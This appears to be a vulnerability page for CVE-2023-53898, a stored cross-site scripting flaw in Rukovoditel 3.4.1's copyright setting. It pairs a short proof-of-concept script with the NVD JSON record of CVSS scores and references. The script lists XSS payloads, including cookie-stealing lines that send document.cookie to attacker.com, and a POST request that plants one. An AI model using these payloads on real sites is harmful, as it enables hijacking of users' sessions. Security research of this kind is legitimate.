CVE-2023-53898

// CVE-2023-53898 PoC - Stored XSS in Rukovoditel Copyright Field // Target: Rukovoditel 3.4.1 // Attack Vector: Inject malicious script in application copyright text // Step 1: Authenticate with low-privilege account const loginEndpoint = 'http://target.com/index.php?module=users/login'; const credentials = { username: 'attacker_user', password: 'password123' }; // Step 2: Navigate to configuration settings const configUrl = 'http://target.com/index.php?module=configuration'; // Step 3: Inject XSS payload in copyright field const xssPayloads = [ '<script>alert(document.domain)</script>', '<iframe src="javascript:alert(document.cookie)">', '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' ]; // Example POST request to update copyright const updateRequest = { url: 'http://target.com/index.php?module=configuration/save', method: 'POST', formData: { copyright: '<script>document.write(\'<img src=https://attacker.com/log?c=\'+document.cookie+\'>\')</script>', save: '1' } }; // Step 4: Payload will execute for all users viewing affected pages // Victims' cookies will be sent to attacker-controlled server console.log('XSS Payload injected successfully'); console.log('All users visiting the application will execute the malicious script');

{"cve": {"id": "CVE-2023-53898", "sourceIdentifier": "[email protected]", "published": "2025-12-16T17:16:02.060", "lastModified": "2025-12-27T17:15:42.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rukovoditel 3.4.1 contains a stored cross-site scripting vulnerabilities that allow authenticated attackers to inject malicious scripts. Attackers can insert iframe and script payloads in application copyright text to execute arbitrary JavaScript in victim browsers."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rukovoditel:rukovoditel:3.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "AE728A4C-C775-42DE-873D-605F77758927"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51548", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.rukovoditel.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/rukovoditel-multiple-stored-cross-site-scripting-via-configuration", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}